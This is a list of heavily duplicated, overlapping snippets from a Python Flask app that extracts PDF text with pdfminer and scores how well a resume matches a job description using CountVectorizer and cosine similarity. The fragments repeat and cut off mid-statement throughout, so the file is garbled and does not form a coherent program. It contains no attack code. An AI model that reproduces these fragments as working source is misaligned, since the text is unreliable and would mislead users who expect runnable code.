"= ','.join(item01_list) item02_list = seg_list02 item02 = ','.join(item02_list) documents = [item01, item02] count_vectorizer",
"Successfully\") answer = pd.DataFrame(answer) answer = answer.iloc[[1], [0]].values[0] answer = round(float(answer), 4) *",
"from sklearn.metrics.pairwise import cosine_similarity from sklearn.feature_extraction.text import CountVectorizer from tkinter import Tk from",
"= pd.DataFrame(answer) answer = answer.iloc[[1], [0]].values[0] answer = round(float(answer), 4) * 100 return",
"os.path.join(basepath, 'uploads', 'test-upload.csv') df = pd.read_csv(file_path) seg_list01 = df['job-description'] seg_list02 = df['your-resume'] item01_list",
"data = retstr.getvalue() print(data) return render_template('home.html', user=\"manoj\") # return text def getFile(): Tk().withdraw()",
"rsrcmgr = PDFResourceManager() retstr = io.StringIO() laparams = LAParams() device = TextConverter(rsrcmgr, retstr,",
"= pd.read_csv(file_path) seg_list01 = df['job-description'] seg_list02 = df['your-resume'] item01_list = seg_list01 item01 =",
"secure_filename(f.filename)) # f.save(file_path) file_path = os.path.join(basepath, 'uploads', 'test-upload.csv') df = pd.read_csv(file_path) seg_list01 =",
"job-description!\" return None # ======== Main ============================================================== # if __name__ == \"__main__\": app.run(debug=True,",
"'rb') rsrcmgr = PDFResourceManager() retstr = io.StringIO() laparams = LAParams() device = TextConverter(rsrcmgr,",
"import Heroku #heroku = Heroku(app) # ======== Routing =========================================================== # # -------- Login",
"from sklearn.linear_model import Ridge from sklearn.model_selection import train_test_split from sklearn.pipeline import make_pipeline from",
"columns=count_vectorizer.get_feature_names(), index=['item01', 'item02']) df.to_csv(os.path.join(basepath, 'uploads', 'result.csv')) read_file = pd.read_csv(os.path.join(basepath, 'uploads', 'result.csv')) read_file.to_excel(os.path.join(basepath, 'uploads',",
"import Tk from tkinter.filedialog import askopenfilename import numpy as np import pandas as",
"seg_list01 item01 = ','.join(item01_list) item02_list = seg_list02 item02 = ','.join(item02_list) documents = [item01,",
"filename = askopenfilename() Tk.close() return filename @app.route(\"/logout\") def logout(): session['logged_in'] = False return",
"return render_template('home.html', user=\"manoj\") # return text def getFile(): Tk().withdraw() filename = askopenfilename() Tk.close()",
"from sklearn.preprocessing import PolynomialFeatures from sklearn.linear_model import Ridge from sklearn.model_selection import train_test_split from",
"XMLConverter, HTMLConverter, TextConverter from pdfminer.layout import LAParams import io app = Flask(__name__) #",
"item02] count_vectorizer = CountVectorizer() sparse_matrix = count_vectorizer.fit_transform(documents) doc_term_matrix = sparse_matrix.todense() df = pd.DataFrame(doc_term_matrix,",
"Flask(__name__) # app.secret_key = os.urandom(12) # Generic key for dev purposes only #",
"index=['item01', 'item02']) df.to_csv(os.path.join(basepath, 'uploads', 'result.csv')) read_file = pd.read_csv(os.path.join(basepath, 'uploads', 'result.csv')) read_file.to_excel(os.path.join(basepath, 'uploads', 'result.xlsx'),",
"flask_heroku import Heroku #heroku = Heroku(app) # ======== Routing =========================================================== # # --------",
"PolynomialFeatures from sklearn.linear_model import Ridge from sklearn.model_selection import train_test_split from sklearn.pipeline import make_pipeline",
"= io.StringIO() laparams = LAParams() device = TextConverter(rsrcmgr, retstr, laparams=laparams) # Create a",
"return redirect(url_for('login')) @app.route('/predict', methods=['GET', 'POST']) def upload(): if request.method == 'GET': # f",
"sklearn.model_selection import train_test_split from sklearn.pipeline import make_pipeline from sklearn.metrics.pairwise import cosine_similarity from sklearn.feature_extraction.text",
"askopenfilename() Tk.close() return filename @app.route(\"/logout\") def logout(): session['logged_in'] = False return redirect(url_for('login')) @app.route('/predict',",
"secure_filename from sklearn.preprocessing import PolynomialFeatures from sklearn.linear_model import Ridge from sklearn.model_selection import train_test_split",
"Heroku #from flask_heroku import Heroku #heroku = Heroku(app) # ======== Routing =========================================================== #",
"in PDFPage.get_pages(fp): interpreter.process_page(page) data = retstr.getvalue() print(data) return render_template('home.html', user=\"manoj\") # return text",
"@app.route('/', methods=['GET', 'POST']) def login(): # creating a pdf file object basepath =",
"# @app.route('/', methods=['GET', 'POST']) def login(): # creating a pdf file object basepath",
"from scripts import helpers from flask import Flask, redirect, url_for, render_template, request, session",
"import os # import stripe import pandas as pd from werkzeug.utils import secure_filename",
"index=None, header=True) answer = cosine_similarity(df, df) print(\"CSV Created Successfully\") answer = pd.DataFrame(answer) answer",
"# app.secret_key = os.urandom(12) # Generic key for dev purposes only # stripe_keys",
"import json import sys import os # import stripe import pandas as pd",
"sklearn.metrics.pairwise import cosine_similarity from sklearn.feature_extraction.text import CountVectorizer from tkinter import Tk from tkinter.filedialog",
"os # import stripe import pandas as pd from werkzeug.utils import secure_filename from",
"Generic key for dev purposes only # stripe_keys = { # 'secret_key': os.environ['secret_key'],",
"= os.path.dirname(__file__) # file_path = os.path.join( # basepath, 'uploads', secure_filename(f.filename)) # f.save(file_path) file_path",
"Tk().withdraw() filename = askopenfilename() Tk.close() return filename @app.route(\"/logout\") def logout(): session['logged_in'] = False",
"= pd.DataFrame(doc_term_matrix, columns=count_vectorizer.get_feature_names(), index=['item01', 'item02']) df.to_csv(os.path.join(basepath, 'uploads', 'result.csv')) read_file = pd.read_csv(os.path.join(basepath, 'uploads', 'result.csv'))",
"'test-upload.csv') df = pd.read_csv(file_path) seg_list01 = df['job-description'] seg_list02 = df['your-resume'] item01_list = seg_list01",
"'uploads', 'result.xlsx'), index=None, header=True) answer = cosine_similarity(df, df) print(\"CSV Created Successfully\") answer =",
"= os.path.join(basepath, 'uploads', 'sample.pdf') fp = open(file_path, 'rb') rsrcmgr = PDFResourceManager() retstr =",
"logout(): session['logged_in'] = False return redirect(url_for('login')) @app.route('/predict', methods=['GET', 'POST']) def upload(): if request.method",
"np import pandas as pd import jieba import jieba.analyse import csv import ast",
"as pd import jieba import jieba.analyse import csv import ast import sys from",
"# import stripe import pandas as pd from werkzeug.utils import secure_filename from sklearn.preprocessing",
"PDFResourceManager() retstr = io.StringIO() laparams = LAParams() device = TextConverter(rsrcmgr, retstr, laparams=laparams) #",
"= CountVectorizer() sparse_matrix = count_vectorizer.fit_transform(documents) doc_term_matrix = sparse_matrix.todense() df = pd.DataFrame(doc_term_matrix, columns=count_vectorizer.get_feature_names(), index=['item01',",
"retstr = io.StringIO() laparams = LAParams() device = TextConverter(rsrcmgr, retstr, laparams=laparams) # Create",
"@app.route('/predict', methods=['GET', 'POST']) def upload(): if request.method == 'GET': # f = request.files['file']",
"print(data) return render_template('home.html', user=\"manoj\") # return text def getFile(): Tk().withdraw() filename = askopenfilename()",
"a pdf file object basepath = os.path.dirname(__file__) file_path = os.path.join(basepath, 'uploads', 'sample.pdf') fp",
"interpreter = PDFPageInterpreter(rsrcmgr, device) # Process each page contained in the document. for",
"sklearn.preprocessing import PolynomialFeatures from sklearn.linear_model import Ridge from sklearn.model_selection import train_test_split from sklearn.pipeline",
"import pandas as pd import jieba import jieba.analyse import csv import ast import",
"from tkinter import Tk from tkinter.filedialog import askopenfilename import numpy as np import",
"methods=['GET', 'POST']) def upload(): if request.method == 'GET': # f = request.files['file'] basepath",
"[0]].values[0] answer = round(float(answer), 4) * 100 return \"Your resume matched \" +",
"=========================================================== # # -------- Login ------------------------------------------------------------- # @app.route('/', methods=['GET', 'POST']) def login(): #",
"from sklearn.model_selection import train_test_split from sklearn.pipeline import make_pipeline from sklearn.metrics.pairwise import cosine_similarity from",
"fp = open(file_path, 'rb') rsrcmgr = PDFResourceManager() retstr = io.StringIO() laparams = LAParams()",
"= PDFPageInterpreter(rsrcmgr, device) # Process each page contained in the document. for page",
"import askopenfilename import numpy as np import pandas as pd import jieba import",
"from flask import Flask, redirect, url_for, render_template, request, session import json import sys",
"= stripe_keys['secret_key'] # Heroku #from flask_heroku import Heroku #heroku = Heroku(app) # ========",
"count_vectorizer.fit_transform(documents) doc_term_matrix = sparse_matrix.todense() df = pd.DataFrame(doc_term_matrix, columns=count_vectorizer.get_feature_names(), index=['item01', 'item02']) df.to_csv(os.path.join(basepath, 'uploads', 'result.csv'))",
"Heroku #heroku = Heroku(app) # ======== Routing =========================================================== # # -------- Login -------------------------------------------------------------",
"Process each page contained in the document. for page in PDFPage.get_pages(fp): interpreter.process_page(page) data",
"read_file = pd.read_csv(os.path.join(basepath, 'uploads', 'result.csv')) read_file.to_excel(os.path.join(basepath, 'uploads', 'result.xlsx'), index=None, header=True) answer = cosine_similarity(df,",
"matched \" + str( answer) + \" %\" + \" of the job-description!\"",
"resume matched \" + str( answer) + \" %\" + \" of the",
"jieba import jieba.analyse import csv import ast import sys from pdfminer.pdfinterp import PDFResourceManager,",
"import CountVectorizer from tkinter import Tk from tkinter.filedialog import askopenfilename import numpy as",
"cosine_similarity(df, df) print(\"CSV Created Successfully\") answer = pd.DataFrame(answer) answer = answer.iloc[[1], [0]].values[0] answer",
"def upload(): if request.method == 'GET': # f = request.files['file'] basepath = os.path.dirname(__file__)",
"io.StringIO() laparams = LAParams() device = TextConverter(rsrcmgr, retstr, laparams=laparams) # Create a PDF",
"f.save(file_path) file_path = os.path.join(basepath, 'uploads', 'test-upload.csv') df = pd.read_csv(file_path) seg_list01 = df['job-description'] seg_list02",
"jieba.analyse import csv import ast import sys from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter from",
"f = request.files['file'] basepath = os.path.dirname(__file__) # file_path = os.path.join( # basepath, 'uploads',",
"interpreter.process_page(page) data = retstr.getvalue() print(data) return render_template('home.html', user=\"manoj\") # return text def getFile():",
"a PDF interpreter object. interpreter = PDFPageInterpreter(rsrcmgr, device) # Process each page contained",
"LAParams import io app = Flask(__name__) # app.secret_key = os.urandom(12) # Generic key",
"'uploads', 'result.csv')) read_file = pd.read_csv(os.path.join(basepath, 'uploads', 'result.csv')) read_file.to_excel(os.path.join(basepath, 'uploads', 'result.xlsx'), index=None, header=True) answer",
"= df['job-description'] seg_list02 = df['your-resume'] item01_list = seg_list01 item01 = ','.join(item01_list) item02_list =",
"'GET': # f = request.files['file'] basepath = os.path.dirname(__file__) # file_path = os.path.join( #",
"answer) + \" %\" + \" of the job-description!\" return None # ========",
"as pd from werkzeug.utils import secure_filename from sklearn.preprocessing import PolynomialFeatures from sklearn.linear_model import",
"= seg_list02 item02 = ','.join(item02_list) documents = [item01, item02] count_vectorizer = CountVectorizer() sparse_matrix",
"= open(file_path, 'rb') rsrcmgr = PDFResourceManager() retstr = io.StringIO() laparams = LAParams() device",
"= False return redirect(url_for('login')) @app.route('/predict', methods=['GET', 'POST']) def upload(): if request.method == 'GET':",
"# Heroku #from flask_heroku import Heroku #heroku = Heroku(app) # ======== Routing ===========================================================",
"= pd.read_csv(os.path.join(basepath, 'uploads', 'result.csv')) read_file.to_excel(os.path.join(basepath, 'uploads', 'result.xlsx'), index=None, header=True) answer = cosine_similarity(df, df)",
"login(): # creating a pdf file object basepath = os.path.dirname(__file__) file_path = os.path.join(basepath,",
"= [item01, item02] count_vectorizer = CountVectorizer() sparse_matrix = count_vectorizer.fit_transform(documents) doc_term_matrix = sparse_matrix.todense() df",
"item02 = ','.join(item02_list) documents = [item01, item02] count_vectorizer = CountVectorizer() sparse_matrix = count_vectorizer.fit_transform(documents)",
"# stripe_keys = { # 'secret_key': os.environ['secret_key'], # 'publishable_key': os.environ['publishable_key'] # } #",
"stripe.api_key = stripe_keys['secret_key'] # Heroku #from flask_heroku import Heroku #heroku = Heroku(app) #",
"ast import sys from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter from pdfminer.pdfpage import PDFPage from",
"pandas as pd from werkzeug.utils import secure_filename from sklearn.preprocessing import PolynomialFeatures from sklearn.linear_model",
"object basepath = os.path.dirname(__file__) file_path = os.path.join(basepath, 'uploads', 'sample.pdf') fp = open(file_path, 'rb')",
"count_vectorizer = CountVectorizer() sparse_matrix = count_vectorizer.fit_transform(documents) doc_term_matrix = sparse_matrix.todense() df = pd.DataFrame(doc_term_matrix, columns=count_vectorizer.get_feature_names(),",
"sys from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter from pdfminer.pdfpage import PDFPage from pdfminer.converter import",
"= LAParams() device = TextConverter(rsrcmgr, retstr, laparams=laparams) # Create a PDF interpreter object.",
"\" of the job-description!\" return None # ======== Main ============================================================== # if __name__",
"only # stripe_keys = { # 'secret_key': os.environ['secret_key'], # 'publishable_key': os.environ['publishable_key'] # }",
"'item02']) df.to_csv(os.path.join(basepath, 'uploads', 'result.csv')) read_file = pd.read_csv(os.path.join(basepath, 'uploads', 'result.csv')) read_file.to_excel(os.path.join(basepath, 'uploads', 'result.xlsx'), index=None,",
"sys import os # import stripe import pandas as pd from werkzeug.utils import",
"stripe_keys['secret_key'] # Heroku #from flask_heroku import Heroku #heroku = Heroku(app) # ======== Routing",
"import csv import ast import sys from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter from pdfminer.pdfpage",
"from sklearn.pipeline import make_pipeline from sklearn.metrics.pairwise import cosine_similarity from sklearn.feature_extraction.text import CountVectorizer from",
"+ \" of the job-description!\" return None # ======== Main ============================================================== # if",
"request.files['file'] basepath = os.path.dirname(__file__) # file_path = os.path.join( # basepath, 'uploads', secure_filename(f.filename)) #",
"from scripts import tabledef # from scripts import forms # from scripts import",
"'uploads', secure_filename(f.filename)) # f.save(file_path) file_path = os.path.join(basepath, 'uploads', 'test-upload.csv') df = pd.read_csv(file_path) seg_list01",
"device = TextConverter(rsrcmgr, retstr, laparams=laparams) # Create a PDF interpreter object. interpreter =",
"print(\"CSV Created Successfully\") answer = pd.DataFrame(answer) answer = answer.iloc[[1], [0]].values[0] answer = round(float(answer),",
"redirect(url_for('login')) @app.route('/predict', methods=['GET', 'POST']) def upload(): if request.method == 'GET': # f =",
"in the document. for page in PDFPage.get_pages(fp): interpreter.process_page(page) data = retstr.getvalue() print(data) return",
"\"Your resume matched \" + str( answer) + \" %\" + \" of",
"+ \" %\" + \" of the job-description!\" return None # ======== Main",
"PDFPageInterpreter(rsrcmgr, device) # Process each page contained in the document. for page in",
"laparams=laparams) # Create a PDF interpreter object. interpreter = PDFPageInterpreter(rsrcmgr, device) # Process",
"= Heroku(app) # ======== Routing =========================================================== # # -------- Login ------------------------------------------------------------- # @app.route('/',",
"# creating a pdf file object basepath = os.path.dirname(__file__) file_path = os.path.join(basepath, 'uploads',",
"file_path = os.path.join(basepath, 'uploads', 'sample.pdf') fp = open(file_path, 'rb') rsrcmgr = PDFResourceManager() retstr",
"import pandas as pd from werkzeug.utils import secure_filename from sklearn.preprocessing import PolynomialFeatures from",
"the job-description!\" return None # ======== Main ============================================================== # if __name__ == \"__main__\":",
"import PDFResourceManager, PDFPageInterpreter from pdfminer.pdfpage import PDFPage from pdfminer.converter import XMLConverter, HTMLConverter, TextConverter",
"pdfminer.converter import XMLConverter, HTMLConverter, TextConverter from pdfminer.layout import LAParams import io app =",
"seg_list02 item02 = ','.join(item02_list) documents = [item01, item02] count_vectorizer = CountVectorizer() sparse_matrix =",
"io app = Flask(__name__) # app.secret_key = os.urandom(12) # Generic key for dev",
"# -------- Login ------------------------------------------------------------- # @app.route('/', methods=['GET', 'POST']) def login(): # creating a",
"# f = request.files['file'] basepath = os.path.dirname(__file__) # file_path = os.path.join( # basepath,",
"answer = cosine_similarity(df, df) print(\"CSV Created Successfully\") answer = pd.DataFrame(answer) answer = answer.iloc[[1],",
"stripe_keys = { # 'secret_key': os.environ['secret_key'], # 'publishable_key': os.environ['publishable_key'] # } # stripe.api_key",
"# return text def getFile(): Tk().withdraw() filename = askopenfilename() Tk.close() return filename @app.route(\"/logout\")",
"\" %\" + \" of the job-description!\" return None # ======== Main ==============================================================",
"df['your-resume'] item01_list = seg_list01 item01 = ','.join(item01_list) item02_list = seg_list02 item02 = ','.join(item02_list)",
"LAParams() device = TextConverter(rsrcmgr, retstr, laparams=laparams) # Create a PDF interpreter object. interpreter",
"'uploads', 'test-upload.csv') df = pd.read_csv(file_path) seg_list01 = df['job-description'] seg_list02 = df['your-resume'] item01_list =",
"'POST']) def upload(): if request.method == 'GET': # f = request.files['file'] basepath =",
"import stripe import pandas as pd from werkzeug.utils import secure_filename from sklearn.preprocessing import",
"interpreter object. interpreter = PDFPageInterpreter(rsrcmgr, device) # Process each page contained in the",
"return \"Your resume matched \" + str( answer) + \" %\" + \"",
"'uploads', 'sample.pdf') fp = open(file_path, 'rb') rsrcmgr = PDFResourceManager() retstr = io.StringIO() laparams",
"%\" + \" of the job-description!\" return None # ======== Main ============================================================== #",
"# 'secret_key': os.environ['secret_key'], # 'publishable_key': os.environ['publishable_key'] # } # stripe.api_key = stripe_keys['secret_key'] #",
"train_test_split from sklearn.pipeline import make_pipeline from sklearn.metrics.pairwise import cosine_similarity from sklearn.feature_extraction.text import CountVectorizer",
"= TextConverter(rsrcmgr, retstr, laparams=laparams) # Create a PDF interpreter object. interpreter = PDFPageInterpreter(rsrcmgr,",
"import PDFPage from pdfminer.converter import XMLConverter, HTMLConverter, TextConverter from pdfminer.layout import LAParams import",
"'POST']) def login(): # creating a pdf file object basepath = os.path.dirname(__file__) file_path",
"# f.save(file_path) file_path = os.path.join(basepath, 'uploads', 'test-upload.csv') df = pd.read_csv(file_path) seg_list01 = df['job-description']",
"json import sys import os # import stripe import pandas as pd from",
"askopenfilename import numpy as np import pandas as pd import jieba import jieba.analyse",
"page in PDFPage.get_pages(fp): interpreter.process_page(page) data = retstr.getvalue() print(data) return render_template('home.html', user=\"manoj\") # return",
"'secret_key': os.environ['secret_key'], # 'publishable_key': os.environ['publishable_key'] # } # stripe.api_key = stripe_keys['secret_key'] # Heroku",
"basepath, 'uploads', secure_filename(f.filename)) # f.save(file_path) file_path = os.path.join(basepath, 'uploads', 'test-upload.csv') df = pd.read_csv(file_path)",
"upload(): if request.method == 'GET': # f = request.files['file'] basepath = os.path.dirname(__file__) #",
"numpy as np import pandas as pd import jieba import jieba.analyse import csv",
"PDFPage from pdfminer.converter import XMLConverter, HTMLConverter, TextConverter from pdfminer.layout import LAParams import io",
"# from scripts import helpers from flask import Flask, redirect, url_for, render_template, request,",
"df = pd.read_csv(file_path) seg_list01 = df['job-description'] seg_list02 = df['your-resume'] item01_list = seg_list01 item01",
"import sys import os # import stripe import pandas as pd from werkzeug.utils",
"filename @app.route(\"/logout\") def logout(): session['logged_in'] = False return redirect(url_for('login')) @app.route('/predict', methods=['GET', 'POST']) def",
"scripts import forms # from scripts import helpers from flask import Flask, redirect,",
"== 'GET': # f = request.files['file'] basepath = os.path.dirname(__file__) # file_path = os.path.join(",
"scripts import tabledef # from scripts import forms # from scripts import helpers",
"= { # 'secret_key': os.environ['secret_key'], # 'publishable_key': os.environ['publishable_key'] # } # stripe.api_key =",
"retstr.getvalue() print(data) return render_template('home.html', user=\"manoj\") # return text def getFile(): Tk().withdraw() filename =",
"of the job-description!\" return None # ======== Main ============================================================== # if __name__ ==",
"os.path.join(basepath, 'uploads', 'sample.pdf') fp = open(file_path, 'rb') rsrcmgr = PDFResourceManager() retstr = io.StringIO()",
"pd.read_csv(file_path) seg_list01 = df['job-description'] seg_list02 = df['your-resume'] item01_list = seg_list01 item01 = ','.join(item01_list)",
"answer = answer.iloc[[1], [0]].values[0] answer = round(float(answer), 4) * 100 return \"Your resume",
"100 return \"Your resume matched \" + str( answer) + \" %\" +",
"@app.route(\"/logout\") def logout(): session['logged_in'] = False return redirect(url_for('login')) @app.route('/predict', methods=['GET', 'POST']) def upload():",
"pd.read_csv(os.path.join(basepath, 'uploads', 'result.csv')) read_file.to_excel(os.path.join(basepath, 'uploads', 'result.xlsx'), index=None, header=True) answer = cosine_similarity(df, df) print(\"CSV",
"pandas as pd import jieba import jieba.analyse import csv import ast import sys",
"import tabledef # from scripts import forms # from scripts import helpers from",
"Create a PDF interpreter object. interpreter = PDFPageInterpreter(rsrcmgr, device) # Process each page",
"} # stripe.api_key = stripe_keys['secret_key'] # Heroku #from flask_heroku import Heroku #heroku =",
"str( answer) + \" %\" + \" of the job-description!\" return None #",
"as np import pandas as pd import jieba import jieba.analyse import csv import",
"text def getFile(): Tk().withdraw() filename = askopenfilename() Tk.close() return filename @app.route(\"/logout\") def logout():",
"'uploads', 'result.csv')) read_file.to_excel(os.path.join(basepath, 'uploads', 'result.xlsx'), index=None, header=True) answer = cosine_similarity(df, df) print(\"CSV Created",
"= os.path.join(basepath, 'uploads', 'test-upload.csv') df = pd.read_csv(file_path) seg_list01 = df['job-description'] seg_list02 = df['your-resume']",
"dev purposes only # stripe_keys = { # 'secret_key': os.environ['secret_key'], # 'publishable_key': os.environ['publishable_key']",
"session import json import sys import os # import stripe import pandas as",
"= sparse_matrix.todense() df = pd.DataFrame(doc_term_matrix, columns=count_vectorizer.get_feature_names(), index=['item01', 'item02']) df.to_csv(os.path.join(basepath, 'uploads', 'result.csv')) read_file =",
"# Create a PDF interpreter object. interpreter = PDFPageInterpreter(rsrcmgr, device) # Process each",
"{ # 'secret_key': os.environ['secret_key'], # 'publishable_key': os.environ['publishable_key'] # } # stripe.api_key = stripe_keys['secret_key']",
"CountVectorizer() sparse_matrix = count_vectorizer.fit_transform(documents) doc_term_matrix = sparse_matrix.todense() df = pd.DataFrame(doc_term_matrix, columns=count_vectorizer.get_feature_names(), index=['item01', 'item02'])",
"pd import jieba import jieba.analyse import csv import ast import sys from pdfminer.pdfinterp",
"= count_vectorizer.fit_transform(documents) doc_term_matrix = sparse_matrix.todense() df = pd.DataFrame(doc_term_matrix, columns=count_vectorizer.get_feature_names(), index=['item01', 'item02']) df.to_csv(os.path.join(basepath, 'uploads',",
"file object basepath = os.path.dirname(__file__) file_path = os.path.join(basepath, 'uploads', 'sample.pdf') fp = open(file_path,",
"contained in the document. for page in PDFPage.get_pages(fp): interpreter.process_page(page) data = retstr.getvalue() print(data)",
"sparse_matrix.todense() df = pd.DataFrame(doc_term_matrix, columns=count_vectorizer.get_feature_names(), index=['item01', 'item02']) df.to_csv(os.path.join(basepath, 'uploads', 'result.csv')) read_file = pd.read_csv(os.path.join(basepath,",
"TextConverter(rsrcmgr, retstr, laparams=laparams) # Create a PDF interpreter object. interpreter = PDFPageInterpreter(rsrcmgr, device)",
"Tk.close() return filename @app.route(\"/logout\") def logout(): session['logged_in'] = False return redirect(url_for('login')) @app.route('/predict', methods=['GET',",
"the document. for page in PDFPage.get_pages(fp): interpreter.process_page(page) data = retstr.getvalue() print(data) return render_template('home.html',",
"forms # from scripts import helpers from flask import Flask, redirect, url_for, render_template,",
"\" + str( answer) + \" %\" + \" of the job-description!\" return",
"Heroku(app) # ======== Routing =========================================================== # # -------- Login ------------------------------------------------------------- # @app.route('/', methods=['GET',",
"os.urandom(12) # Generic key for dev purposes only # stripe_keys = { #",
"pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter from pdfminer.pdfpage import PDFPage from pdfminer.converter import XMLConverter, HTMLConverter,",
"read_file.to_excel(os.path.join(basepath, 'uploads', 'result.xlsx'), index=None, header=True) answer = cosine_similarity(df, df) print(\"CSV Created Successfully\") answer",
"stripe import pandas as pd from werkzeug.utils import secure_filename from sklearn.preprocessing import PolynomialFeatures",
"','.join(item01_list) item02_list = seg_list02 item02 = ','.join(item02_list) documents = [item01, item02] count_vectorizer =",
"Routing =========================================================== # # -------- Login ------------------------------------------------------------- # @app.route('/', methods=['GET', 'POST']) def login():",
"pd.DataFrame(doc_term_matrix, columns=count_vectorizer.get_feature_names(), index=['item01', 'item02']) df.to_csv(os.path.join(basepath, 'uploads', 'result.csv')) read_file = pd.read_csv(os.path.join(basepath, 'uploads', 'result.csv')) read_file.to_excel(os.path.join(basepath,",
"= df['your-resume'] item01_list = seg_list01 item01 = ','.join(item01_list) item02_list = seg_list02 item02 =",
"round(float(answer), 4) * 100 return \"Your resume matched \" + str( answer) +",
"sklearn.linear_model import Ridge from sklearn.model_selection import train_test_split from sklearn.pipeline import make_pipeline from sklearn.metrics.pairwise",
"Created Successfully\") answer = pd.DataFrame(answer) answer = answer.iloc[[1], [0]].values[0] answer = round(float(answer), 4)",
"csv import ast import sys from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter from pdfminer.pdfpage import",
"answer = round(float(answer), 4) * 100 return \"Your resume matched \" + str(",
"render_template, request, session import json import sys import os # import stripe import",
"pdfminer.layout import LAParams import io app = Flask(__name__) # app.secret_key = os.urandom(12) #",
"open(file_path, 'rb') rsrcmgr = PDFResourceManager() retstr = io.StringIO() laparams = LAParams() device =",
"laparams = LAParams() device = TextConverter(rsrcmgr, retstr, laparams=laparams) # Create a PDF interpreter",
"def getFile(): Tk().withdraw() filename = askopenfilename() Tk.close() return filename @app.route(\"/logout\") def logout(): session['logged_in']",
"def logout(): session['logged_in'] = False return redirect(url_for('login')) @app.route('/predict', methods=['GET', 'POST']) def upload(): if",
"for page in PDFPage.get_pages(fp): interpreter.process_page(page) data = retstr.getvalue() print(data) return render_template('home.html', user=\"manoj\") #",
"return text def getFile(): Tk().withdraw() filename = askopenfilename() Tk.close() return filename @app.route(\"/logout\") def",
"answer = pd.DataFrame(answer) answer = answer.iloc[[1], [0]].values[0] answer = round(float(answer), 4) * 100",
"import jieba.analyse import csv import ast import sys from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter",
"# Generic key for dev purposes only # stripe_keys = { # 'secret_key':",
"import numpy as np import pandas as pd import jieba import jieba.analyse import",
"PDF interpreter object. interpreter = PDFPageInterpreter(rsrcmgr, device) # Process each page contained in",
"'result.csv')) read_file.to_excel(os.path.join(basepath, 'uploads', 'result.xlsx'), index=None, header=True) answer = cosine_similarity(df, df) print(\"CSV Created Successfully\")",
"import train_test_split from sklearn.pipeline import make_pipeline from sklearn.metrics.pairwise import cosine_similarity from sklearn.feature_extraction.text import",
"# ======== Routing =========================================================== # # -------- Login ------------------------------------------------------------- # @app.route('/', methods=['GET', 'POST'])",
"from pdfminer.pdfpage import PDFPage from pdfminer.converter import XMLConverter, HTMLConverter, TextConverter from pdfminer.layout import",
"seg_list01 = df['job-description'] seg_list02 = df['your-resume'] item01_list = seg_list01 item01 = ','.join(item01_list) item02_list",
"header=True) answer = cosine_similarity(df, df) print(\"CSV Created Successfully\") answer = pd.DataFrame(answer) answer =",
"doc_term_matrix = sparse_matrix.todense() df = pd.DataFrame(doc_term_matrix, columns=count_vectorizer.get_feature_names(), index=['item01', 'item02']) df.to_csv(os.path.join(basepath, 'uploads', 'result.csv')) read_file",
"df) print(\"CSV Created Successfully\") answer = pd.DataFrame(answer) answer = answer.iloc[[1], [0]].values[0] answer =",
"df.to_csv(os.path.join(basepath, 'uploads', 'result.csv')) read_file = pd.read_csv(os.path.join(basepath, 'uploads', 'result.csv')) read_file.to_excel(os.path.join(basepath, 'uploads', 'result.xlsx'), index=None, header=True)",
"file_path = os.path.join(basepath, 'uploads', 'test-upload.csv') df = pd.read_csv(file_path) seg_list01 = df['job-description'] seg_list02 =",
"from scripts import forms # from scripts import helpers from flask import Flask,",
"= askopenfilename() Tk.close() return filename @app.route(\"/logout\") def logout(): session['logged_in'] = False return redirect(url_for('login'))",
"import ast import sys from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter from pdfminer.pdfpage import PDFPage",
"key for dev purposes only # stripe_keys = { # 'secret_key': os.environ['secret_key'], #",
"'result.xlsx'), index=None, header=True) answer = cosine_similarity(df, df) print(\"CSV Created Successfully\") answer = pd.DataFrame(answer)",
"# from scripts import forms # from scripts import helpers from flask import",
"Ridge from sklearn.model_selection import train_test_split from sklearn.pipeline import make_pipeline from sklearn.metrics.pairwise import cosine_similarity",
"helpers from flask import Flask, redirect, url_for, render_template, request, session import json import",
"CountVectorizer from tkinter import Tk from tkinter.filedialog import askopenfilename import numpy as np",
"[item01, item02] count_vectorizer = CountVectorizer() sparse_matrix = count_vectorizer.fit_transform(documents) doc_term_matrix = sparse_matrix.todense() df =",
"basepath = os.path.dirname(__file__) file_path = os.path.join(basepath, 'uploads', 'sample.pdf') fp = open(file_path, 'rb') rsrcmgr",
"make_pipeline from sklearn.metrics.pairwise import cosine_similarity from sklearn.feature_extraction.text import CountVectorizer from tkinter import Tk",
"pdf file object basepath = os.path.dirname(__file__) file_path = os.path.join(basepath, 'uploads', 'sample.pdf') fp =",
"import io app = Flask(__name__) # app.secret_key = os.urandom(12) # Generic key for",
"# stripe.api_key = stripe_keys['secret_key'] # Heroku #from flask_heroku import Heroku #heroku = Heroku(app)",
"Flask, redirect, url_for, render_template, request, session import json import sys import os #",
"answer.iloc[[1], [0]].values[0] answer = round(float(answer), 4) * 100 return \"Your resume matched \"",
"= os.urandom(12) # Generic key for dev purposes only # stripe_keys = {",
"# 'publishable_key': os.environ['publishable_key'] # } # stripe.api_key = stripe_keys['secret_key'] # Heroku #from flask_heroku",
"from sklearn.feature_extraction.text import CountVectorizer from tkinter import Tk from tkinter.filedialog import askopenfilename import",
"import make_pipeline from sklearn.metrics.pairwise import cosine_similarity from sklearn.feature_extraction.text import CountVectorizer from tkinter import",
"PDFPageInterpreter from pdfminer.pdfpage import PDFPage from pdfminer.converter import XMLConverter, HTMLConverter, TextConverter from pdfminer.layout",
"each page contained in the document. for page in PDFPage.get_pages(fp): interpreter.process_page(page) data =",
"= cosine_similarity(df, df) print(\"CSV Created Successfully\") answer = pd.DataFrame(answer) answer = answer.iloc[[1], [0]].values[0]",
"seg_list02 = df['your-resume'] item01_list = seg_list01 item01 = ','.join(item01_list) item02_list = seg_list02 item02",
"','.join(item02_list) documents = [item01, item02] count_vectorizer = CountVectorizer() sparse_matrix = count_vectorizer.fit_transform(documents) doc_term_matrix =",
"False return redirect(url_for('login')) @app.route('/predict', methods=['GET', 'POST']) def upload(): if request.method == 'GET': #",
"# } # stripe.api_key = stripe_keys['secret_key'] # Heroku #from flask_heroku import Heroku #heroku",
"import XMLConverter, HTMLConverter, TextConverter from pdfminer.layout import LAParams import io app = Flask(__name__)",
